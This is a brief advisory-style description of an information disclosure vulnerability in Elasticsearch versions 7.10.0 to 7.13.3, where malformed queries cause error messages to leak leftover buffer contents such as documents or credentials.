ElasticSsarch 7.10.0 to 7.13.3 is susceptible to information disclosure. A user with the ability to submit arbitrary queries can submit a malformed query that results in an error message containing previously used portions of a data buffer. This buffer can contain sensitive information such as Elasticsearch documents or authentication details, thus potentially leading to data modification and/or execution of unauthorized operations.
